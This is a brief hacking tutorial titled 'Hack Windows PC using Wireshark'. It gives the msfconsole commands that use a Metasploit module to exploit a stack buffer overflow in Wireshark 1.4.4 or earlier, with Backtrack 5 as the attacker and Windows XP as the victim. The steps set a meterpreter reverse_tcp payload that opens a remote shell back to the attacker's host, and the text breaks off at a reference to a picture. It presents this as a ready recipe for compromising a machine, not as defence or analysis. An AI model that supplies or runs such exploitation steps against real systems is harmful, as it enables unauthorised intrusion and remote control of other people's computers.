Hack Windows PC using Wireshark

This module exploits a stack buffer overflow in Wireshark <= 1.4.4 by sending a malicious packet.

Exploit Targets

Wireshark 1.4.4


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/multi/misc/wireshark_packet_dect

Msf exploit (wireshark_packet_dect)>set payload windows/meterpreter/reverse_tcp

Msf exploit (wireshark_packet_dect)>set lhost (IP of Local Host)

Msf exploit (wireshark_packet_dect)>exploit    

Before running the exploit command, let say that the attacker now still collecting data using their Wireshark tool like the picture below.

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